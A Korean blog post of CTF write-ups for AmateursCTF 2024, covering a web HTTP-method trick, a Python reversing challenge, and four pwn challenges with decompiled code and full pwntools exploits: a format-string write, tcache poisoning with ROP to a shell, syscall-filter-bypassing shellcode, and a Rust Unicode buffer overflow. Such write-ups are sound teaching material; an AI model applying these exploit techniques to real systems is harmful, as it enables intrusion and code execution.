ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (627)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (14)
      • dreamhack (13)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

AmateursCTF 2024
CTF

AmateursCTF 2024

2024. 4. 10. 14:54

체감상 작년보다 어려웠는데

포너블 10개 중 4개 풀어서 선방했다고 생각한다.

 


 

[solved]

[web] denied

더보기
const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

 

get으로 접근해야 하는데 get이면 Bad를 줘버린다.

메소드를 찾아서 다 때려 넣어보니까 head 메소드를 사용하면 플래그가 나오더라.

 

[rev] typo

더보기

해괴한 문자들이 있다.

import random as RrRrRrrrRrRRrrRRrRRrrRr
RrRrRrrrRrRRrrRRrRRrRrr = int('1665663c', 20)
RrRrRrrrRrRRrrRRrRRrrRr.seed(RrRrRrrrRrRRrrRRrRRrRrr)
arRRrrRRrRRrRRRrRrRRrRr = bytearray(open('flag.txt', 'rb').read())
arRRrrRrrRRrRRRrRrRRrRr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
arRRrrRRrRRrRrRrRrRRrRr = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
arRRRrRRrRRrRRRrRrRRrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr + 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
arRRrrRRrRRrRRRrRrRrrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr - 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
def arRRrrRRrRRrRrRRrRrrRrRr(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
arRRRRRRrRRrRRRrRrRrrRr = [arRRrrRRrRRrRrRRrRrrRrRr, arRRRrRRrRRrRRRrRrRRrRr, arRRrrRRrRRrRRRrRrRrrRr]
arRRRRRRrRRrRRRrRrRrrRr = [RrRrRrrrRrRRrrRRrRRrrRr.choice(arRRRRRRrRRrRRRrRrRrrRr) for arRrrrRRrRRrRRRrRrRrrRr in range(128)]
def RrRrRrrrRrRRrrRRrRRrrRr(arr, ar):
    for r in ar:
        arr = arRRRRRRrRRrRRRrRrRrrRr[r](arr)
    return arr
def arRRrrRRrRRrRrRRrRrrRrRr(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])
arrRRrrrrRRrRRRrRrRRRRr = RrRrRrrrRrRRrrRRrRRrrRr(arRRrrRRrRRrRRRrRrRRrRr, arRRrrRrrRRrRRRrRrRRrRr.encode())
arrRRrrrrRRrRRRrRrRRRRr = arRRrrRRrRRrRrRRrRrrRrRr(arRRrrRRrRRrRrRrRrRRrRr, arrRRrrrrRRrRRRrRrRRRRr)
print(arrRRrrrrRRrRRRrRrRRRRr.hex())

 

적절히 바꿔주면 다음과 같다.

import random as my_random
seed = int('1665663c', 20)
my_random.seed(seed)
flag = bytearray(open('flag.txt', 'rb').read())
rrr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
byte_rrr = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
right = lambda byte_arr: bytearray([_byte_arr + 1 for _byte_arr in byte_arr])
left = lambda byte_arr: bytearray([_byte_arr - 1 for _byte_arr in byte_arr])

def func(hex):
    print(hex)
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    print(hex)
    
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    print(hex)
    
    return hex

tmp = [func, right, left]
tmp = [my_random.choice(tmp) for _byte_arr in range(128)]

def my_random(arr, ar):
    for r in ar:
        arr = tmp[r](arr)
    return arr

def func(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])

result = my_random(flag, rrr.encode())
result = func(byte_rrr, result)
print(result.hex())

 

이제 모든 연산을 거꾸로 수행한다.

(역연산)

 

16진수를 다시 17진수로 되돌려야 했는데

이 부분을 생각하기까지 시간이 좀 걸렸어서 삽질을 한 것 같다.

(그리고 타입 맞춰주는 것도..)

import random as my_random
seed = int('1665663c', 20)
my_random.seed(seed)
result = bytearray(bytes.fromhex(open('output.txt', 'r').read()))

rrr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
byte_rrr = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
right = lambda byte_arr: bytearray([_byte_arr - 1 for _byte_arr in byte_arr])
left = lambda byte_arr: bytearray([_byte_arr + 1 for _byte_arr in byte_arr])

def func(hex):
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    return hex

tmp = [func, right, left]
tmp = [my_random.choice(tmp) for _byte_arr in range(128)]

def my_random(arr, ar):
    for r in ar:
        arr = tmp[r](arr)
    return arr

def hex_to_base17(hex_val):
    decimal_value = hex_val
    base17_str = ""
    while decimal_value > 0:
        remainder = decimal_value % 17
        base17_str = hex(remainder)[2:] + base17_str
        decimal_value //= 17
    return base17_str

def func(arr, ar):
    ar = int(ar.hex(), 16)
    for r in arr:
        ar -= int(r, 35)
    return hex_to_base17(ar)

result = func(byte_rrr, result)
result = bytearray(bytes.fromhex(result))
result = my_random(result, rrr.encode())
print(result)

 

[pwn] bearsay

더보기
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax
  char v4; // al
  char v5; // al
  char v6; // al
  char v7; // al
  int v8; // [rsp+14h] [rbp-202Ch]
  char *v9; // [rsp+18h] [rbp-2028h]
  char *v10; // [rsp+20h] [rbp-2020h]
  FILE *stream; // [rsp+28h] [rbp-2018h]
  char s[4096]; // [rsp+30h] [rbp-2010h] BYREF
  char v13[4104]; // [rsp+1030h] [rbp-1010h] BYREF
  unsigned __int64 v14; // [rsp+2038h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  v3 = __rdtsc();
  srand(v3);
  while ( 1 )
  {
    printf(&format);
    fgets(s, 0x1000, stdin);
    v9 = strchr(s, '\n');
    if ( v9 )
      *v9 = 0;
    if ( s[0] )
    {
      if ( !strcmp("flag", s) )
      {
        if ( is_mother_bear != 0xBAD0BAD )
        {
          v6 = rand();
          printf("ANGRY BEAR %s\n", (const char *)*(&bears + (v6 & 3)));
          exit(1);
        }
        stream = fopen("./flag.txt", "r");
        fgets(v13, 0x1000, stream);
        fclose(stream);
        box(0x7CLL, 0x2DLL, 2LL, v13);
        puts("|\n|\n|");
        v5 = rand();
        puts((const char *)*(&bears + (v5 & 3)));
      }
      else
      {
        if ( !strcmp("leave", s) )
        {
          v7 = rand();
          printf("lonely bear... %s\n", (const char *)*(&bears + (v7 & 3)));
          exit(0);
        }
        if ( s[0] == 0x6D && s[1] == 0x6F && s[2] == 0x6F )
        {
          puts("no.");
          exit(1);
        }
        v8 = strlen(s);
        box(0x2ALL, 0x2ALL, 0LL, s);
        rep(0x20LL, (unsigned int)(v8 / 2));
        puts("|");
        v10 = (char *)*(&bears + (rand() & 3));
        rep(0x20LL, (unsigned int)(v8 / 2));
        puts(v10);
      }
    }
    else
    {
      v4 = rand();
      printf("confused bear %s\n", (const char *)*(&bears + (v4 & 3)));
    }
  }
}

 

box에서 fsb 취약점이 터진다.

unsigned __int64 __fastcall box(char a1, char a2, int a3, const char *a4)
{
  int i; // [rsp+2Ch] [rbp-14h]
  int j; // [rsp+30h] [rbp-10h]
  int v9; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v9 = strlen(a4);
  rep(a2, v9 + 4);
  putchar(0xA);
  for ( i = 0; i < a3; ++i )
  {
    putchar(a1);
    rep(0x20, v9 + 2);
    putchar(a1);
    putchar(0xA);
  }
  putchar(a1);
  putchar(0x20);
  printf(a4);
  putchar(0x20);
  putchar(a1);
  putchar(0xA);
  for ( j = 0; j < a3; ++j )
  {
    putchar(a1);
    rep(0x20, v9 + 2);
    putchar(a1);
    putchar(0xA);
  }
  rep(a2, v9 + 4);
  putchar(0xA);
  return v10 - __readfsqword(0x28u);
}

 

fsb를 이용해서 is_mother_bear을 0xBAD0BAD으로 만들어서

플래그 호출 조건을 만족시키면 된다.

from pwn import *

context.arch = 'amd64'

# p = process('./chal')
p = remote('chal.amt.rs', 1338)

pay = b'%p.'*0x20
p.sendlineafter(b'say:',pay)
for _ in range(14):
    p.recvuntil(b'.')

pie = int(p.recvuntil(b'.')[:-1],16) - 0x1678
bear = pie + 0x4044
print(hex(bear))

pay = fmtstr_payload(22, {bear:p32(0xBAD0BAD)}, write_size='byte')
p.sendlineafter(b'say:',pay)

p.sendlineafter(b'say:',b'flag')

p.interactive()

 

[pwn] heaps-of-fun

더보기

거의 포기하고 있다가 드림핵 힙 문제 풀고 풀 수 있을 것 같아서 했는데 풀려서 기분 좋았다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  puts("##############################################");
  puts("# WELCOME to the amateurs key/value database #");
  puts("##############################################");
  while ( 1 )
  {
    _setjmp(handler);
    switch ( (unsigned int)db_menu() )
    {
      case 1u:
        puts("\n       =[ create ]=");
        db_create();
        break;
      case 2u:
        puts("\n       =[ update ]=");
        db_update();
        break;
      case 3u:
        puts("\n       =[ read ]=");
        db_read();
        break;
      case 4u:
        puts("\n       =[ delete ]");
        db_delete();
        break;
      case 5u:
        return 0;
      default:
        puts("[!] invalid selection");
        break;
    }
  }
}

 

청크 2개를 할당 받을 수 있다.

unsigned __int64 db_create()
{
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  index = db_index(0);
  db_line(&db_list[index].key_ptr, 1, "key:\n>>> ");
  db_line(&db_list[index].value_ptr, 1, "val:\n>>> ");
  return canary - __readfsqword(0x28u);
}
unsigned __int64 __fastcall db_index(int check)
{
  unsigned __int64 index; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  printf("index:\n>>> ");
  if ( (unsigned int)__isoc99_scanf("%zu", &index) != 1 )
  {
    iflush();
    puts("[!] failed to read index");
    longjmp(handler, 1);
  }
  iflush();
  if ( index > 0x1F )
  {
    puts("[!] index out of bounds");
    longjmp(handler, 1);
  }
  if ( check && (!db_list[index].key_ptr || !db_list[index].value_ptr) )
  {
    puts("[!] invalid key/value store");
    longjmp(handler, 1);
  }
  return index;
}
unsigned __int64 __fastcall db_line(_QWORD *buf, int type, const char *a3)
{
  size_t size; // [rsp+28h] [rbp-18h] BYREF
  _BYTE *note; // [rsp+30h] [rbp-10h]
  unsigned __int64 canary; // [rsp+38h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( type )
  {
    printf("len:\n>>> ");
    if ( (unsigned int)__isoc99_scanf("%zu", &size) != 1 )
    {
      iflush();
      puts("[!] failed to read length");
      longjmp(handler, 1);
    }
    iflush();
    if ( !size || size > 0xFF7 )
    {
      puts("[!] invalid line length");
      longjmp(handler, 1);
    }
    ++size;
    printf("%s", a3);
    note = malloc(size);
    readline(note, size);
    *buf = note;
    buf[1] = size;
  }
  else
  {
    printf("%s", a3);
    readline((_BYTE *)*buf, buf[1]);
  }
  return canary - __readfsqword(0x28u);
}
unsigned __int64 __fastcall readline(_BYTE *a1, __int64 a2)
{
  _BYTE *v2; // rax
  int v4; // [rsp+1Ch] [rbp-14h]
  _BYTE *i; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  for ( i = a1; i < &a1[a2 - 1]; ++i )
  {
    v4 = getc(stdin);
    if ( v4 == '\n' )
      goto LABEL_6;
    v2 = i;
    *v2 = v4;
  }
  iflush();
LABEL_6:
  *i = 0;
  return v6 - __readfsqword(0x28u);
}

 

청크의 값을 바꾼다.

(db_create()에서 두 번째로 할당받은 청크)

unsigned __int64 db_update()
{
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  index = db_index(1);
  db_line(&db_list[index].value_ptr, 0, "new val:\n>>> ");
  return canary - __readfsqword(0x28u);
}

 

청크의 값들을 읽을 수 있다.

unsigned __int64 db_read()
{
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  index = db_index(1);
  printf("key = ");
  db_println(db_list[index].key_ptr, db_list[index].key_size);
  printf("val = ");
  db_println(db_list[index].value_ptr, db_list[index].value_size);
  return canary - __readfsqword(0x28u);
}
unsigned __int64 __fastcall db_println(char *ptr, unsigned __int64 size)
{
  unsigned __int64 i; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0LL; i < size; ++i )
  {
    if ( ((*__ctype_b_loc())[ptr[i]] & 0x4000) != 0 )
      putchar(ptr[i]);
    else
      printf("\\x%02x", (unsigned __int8)ptr[i]);
  }
  putchar('\n');
  return v4 - __readfsqword(0x28u);
}

 

청크를 날릴 수 있다.

unsigned __int64 db_delete()
{
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  index = db_index(1);
  free((void *)db_list[index].key_ptr);
  free((void *)db_list[index].value_ptr);
  return canary - __readfsqword(0x28u);
}

 

모든 보호 기법이 걸려있으므로

기본적으로 rop를 통한 쉘 얻기를 생각해야 한다.

 

먼저, heap, libc를 릭 할 수 있다.

이는 unsorted bin에 청크 2개를 할당 받으면 가능하다.

메인아레나 주소와 다음 힙에 대한 주소가 fd, bk에 할당되고

이를 db_read()로 읽어내면 된다.

 

이 정보들을 활용하면 tcache_poisoning 기법을 쓸 수 있다.

 이를 통해 AAR/AAW가 가능해진다.

https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c

 

libc를 릭했으므로 environ 주소를 알 수 있고

tcache_poisoning으로 environ에 청크를 할당받아 저장된 스택 값(rbp)을 릭할 수 있다.

 

이제 다시 tcache_poisoning으로 스택(rbp)에 청크를 할당받아서

rop 페이로드를 때려넣으면 된다.

 

from pwn import *

context.log_level = 'debug'

# p = process('./chal')
p = remote('chal.amt.rs', 1346)

def create(idx,key_size,key,val_size='null',val='null'):
    p.sendlineafter(b'>>>',b'1')
    p.sendlineafter(b'>>>',str(idx).encode())
    p.sendlineafter(b'>>>',str(key_size).encode())
    p.sendlineafter(b'>>>',key)
    p.sendlineafter(b'>>>',str(val_size).encode())
    p.sendlineafter(b'>>>',val)

def update(idx,val):
    p.sendlineafter(b'>>>',b'2')
    p.sendlineafter(b'>>>',str(idx).encode())
    p.sendlineafter(b'>>>',val)

def read(idx):
    p.sendlineafter(b'>>>',b'3')
    p.sendlineafter(b'>>>',str(idx).encode())

def delete(idx):
    p.sendlineafter(b'>>>',b'4')
    p.sendlineafter(b'>>>',str(idx).encode())

create(0,0x18,b'z'*0x18,0x428,b'a'*0x428)
create(1,0x18,b'z'*0x18,0x428,b'a'*0x428)
create(2,0x18,b'z'*0x18,0x438,b'a'*0x438)
delete(0)
delete(1)

read(0)
p.recvuntil(b'val = ')
libc = p.recvuntil(b'\\x00'*2)
libc = u64(libc.decode('unicode-escape')) - 0x21ace0
heap = p.recvuntil(b'\\x00'*2)
heap = u64(heap.decode('unicode-escape')) & 0xfffffffffffff000
env = libc + 0x222200
pop_rdi = libc + 0x2a3e5
ret = libc + 0x29139
system  = libc + 0x50d70
print('[libc]',hex(libc))
print('[heap]',hex(heap))

create(3,0x20,b'z'*0x20,0x20,b'a'*0x20)
delete(3)

target = (env-0x10) ^ (heap+0x2a0) >> 12
update(3,p64(target)[:-1])

create(4,0x20,b'z'*0x20,0x20,b'')
read(4)
p.recvuntil(b'\\x00'*0x10)
stack = p.recvuntil(b'\\x00'*2)
stack = u64(stack.decode('unicode-escape')) - 0x128
print('[stack]',hex(stack))

create(5,0x50,b'z'*0x50,0x50,b'a'*50)
delete(5)

target = (stack) ^ (heap+0x2a0) >> 12
update(5,p64(target)[:-1])
pay = b'a'*0x8 + p64(ret) + p64(pop_rdi) + p64(stack+0x28) + p64(system) + b'/bin/sh'
create(6,0x50,b'z'*0x50,0x50,pay)

p.sendlineafter(b'>>>',b'5')

p.interactive()

 

[pwn] baby-sandbox

더보기

쉘 코딩 문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int16 v4; // [rsp+2h] [rbp-Eh]
  unsigned int i; // [rsp+4h] [rbp-Ch]
  char *ptr; // [rsp+8h] [rbp-8h]

  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  ptr = (char *)mmap((void *)0x1337000, 0x1000uLL, 3, 0x100022, 0xFFFFFFFF, 0LL);
  if ( ptr == (char *)0xFFFFFFFFFFFFFFFFLL )
    errx(1, "\x1B[91mmmap failed\x1B[0m");
  printf("\x1B[38;2;255;255;255m> \x1B[0m");
  fread(ptr, 1uLL, 0x1000uLL, stdin);
  for ( i = 0; i <= 0xFFE; ++i )
  {
    v4 = *(_WORD *)&ptr[i];
    if ( v4 == 0x50F || v4 == (__int16)0x80CD )
      errx(1, "\x1B[91minvalid instruction!\x1B[0m");
  }
  if ( mprotect(ptr, 0x1000uLL, 5) < 0 )
    errx(1, "\x1B[91mmprotect failed\x1B[0m");
  if ( syscall(0x9ELL, 0x1002LL, 0LL) < 0 )
    errx(1, "\x1B[91mfailed to set fsbase\x1B[0m");
  if ( syscall(0x9ELL, 0x1001LL, 0LL) < 0 )
    errx(1, "\x1B[91mfailed to set gsbase\x1B[0m");
  return ((__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64, __int64))ptr)(
           0x1337133713371337LL,
           0x1337133713371337LL,
           0x1337133713371337LL,
           0x1337133713371337LL,
           0x1337133713371337LL,
           0x1337133713371337LL);
}

 

opcode 중 0F 05, CD 80이 막혀있다.

이 중 0F 05는 syscall이다.

(CD 80은 인터럽트 계열? 인 듯하다)

 

아무튼 위키피디아를 보면 syscall 밑에 sysenter라는 친구가 보인다.

설명이 같은 걸 보니 대신 쓸 수 있을 것 같다.

https://en.wikipedia.org/wiki/X86_instruction_listings

 

검색해서 대충 살펴보니 32비트에서 활용되는 명령인가 보다.

https://lwn.net/Articles/604515/

 

syscall table을 참조해 어셈 코딩해서 execve("/bin/sh")를 전달하면 된다.

from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./chal')
p = remote('chal.amt.rs', 1341)

pay = asm('''
          xor rsp, rsp
          xor rbp, rbp
          mov esp, 0x1337200
          mov ebp, 0x1337200

          xor ebx, ebx
          xor ecx, ecx
          xor edx, edx
          mov ebx, 0x1337100

          xor rax, rax
          xor rsi, rsi
          xor rdx, rdx
          mov ax, 0x0b
          SYSENTER
''')

print(hex(len(pay)))
pay += b'\x90'*(0x100-len(pay))
pay += p64(0x68732F6E69622F)
pay += b'\x90'*(0x1000-len(pay))
print(hex(len(pay)))
print(pay.hex())

p.sendafter(b'>',pay)

p.interactive()

 

[pwn] buffer-overflow

더보기

rust로 만들어진 c함수의 취약점을 찾아야하는 문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char src[4104]; // [rsp+0h] [rbp-1020h] BYREF
  char *str_addr; // [rsp+1008h] [rbp-18h]
  ssize_t read_len; // [rsp+1010h] [rbp-10h]
  __int64 src_len; // [rsp+1018h] [rbp-8h]

  memset(src, 0, 0x1000uLL);
  read_len = read(0, src, 0x1000uLL);
  if ( read_len < 0 )
    errx(1, "failed to read input");
  src[read_len - 1] = 0;
  str_addr = strchr(src, '\n');
  if ( str_addr )
  {
    *str_addr = 0;
    src_len = str_addr - src;
  }
  else
  {
    src_len = read_len - 1;
  }
  uppercase(src, src_len, src);
  puts(src);
  return 0;
}

 

보호 기법도 빈약하고 쉘을 주는 win 함수도 존재한다.

 

rust 코드는 다음과 같다.
안전하지 않은 작업은 unsafe 블록 내부에서 수행한다고 한다.
문제 설명에서 유니코드 때문에 고통받는다고 했으니 관련해서 검색을 해보았다.

use std::mem::ManuallyDrop;
use std::ptr;
use std::slice;
use std::str;

#[inline(never)]
#[no_mangle]
pub extern "C" fn uppercase(src: *const u8, srclen: usize, dst: *mut u8) {
    unsafe {
        let upper = ManuallyDrop::new(
            str::from_utf8(slice::from_raw_parts(src, srclen))
                .unwrap()
                .to_uppercase(),
        );
        let bytes = upper.as_bytes();

        let bytes_ptr = bytes.as_ptr();

        ptr::copy_nonoverlapping(bytes_ptr, dst, bytes.len());
    }
}

 

rust 문서 뒤져보다가 찾아버렸다.

유니코드를 대문자로 바꿀 때 1바이트가 추가되는 경우가 존재했다.

https://doc.rust-lang.org/core/primitive.char.html#method.to_uppercase

 

위 페이지에 들어가보면 바이트가 늘어나는 문자들도 소개해준다.

https://www.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt

 

이제 bof 터트리고 리턴 오버라이트 해주면 된다.

from pwn import *

context.log_level = 'debug'

# p = process('./chal')
p = remote('chal.amt.rs',1337)

win = 0x4012a0

pay = chr(0x1ff6)*0x409 + 'a'*3
pay += chr(0xa4) + chr(0x12) + chr(0x40) + chr(0)*5

p.sendline(pay)

p.interactive()

 


 

[unsolved]

 

[pwn] reflection

더보기

문제 설명에서 ret2dlresolve 라는 기법을 쓴다고 해서 시도했지만 잘 안됐다..

 

라업 봐도 모르겠다

https://github.com/r1ru/ctf-writeups/blob/master/2024/AmateursCTF/reflection/exploit.py

 

ctf-writeups/2024/AmateursCTF/reflection/exploit.py at master · r1ru/ctf-writeups

Contribute to r1ru/ctf-writeups development by creating an account on GitHub.

github.com

 

 

 

이건 나중에 볼 예정?

https://unvariant.pages.dev/writeups/amateursctf-2024/

 

https://unvariant.pages.dev/writeups/amateursctf-2024/

Authors writeups for amateurs-ctf-2024. All the challenges should have at the minimum solves scripts at chal/solve.py, and might have writeups if decide to stop being lazy.

unvariant.pages.dev

 

'CTF' 카테고리의 다른 글

San Diego CTF 2024 (Pwn)  (0) 2024.05.15
Grey Cat The Flag 2024 Qualifiers  (0) 2024.04.22
[QWB CTF 2018] core (with write-up)  (1) 2024.04.04
ACSC 2024 Quals  (0) 2024.04.01
Pearl CTF  (0) 2024.03.11
    'CTF' 카테고리의 다른 글
    • San Diego CTF 2024 (Pwn)
    • Grey Cat The Flag 2024 Qualifiers
    • [QWB CTF 2018] core (with write-up)
    • ACSC 2024 Quals
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바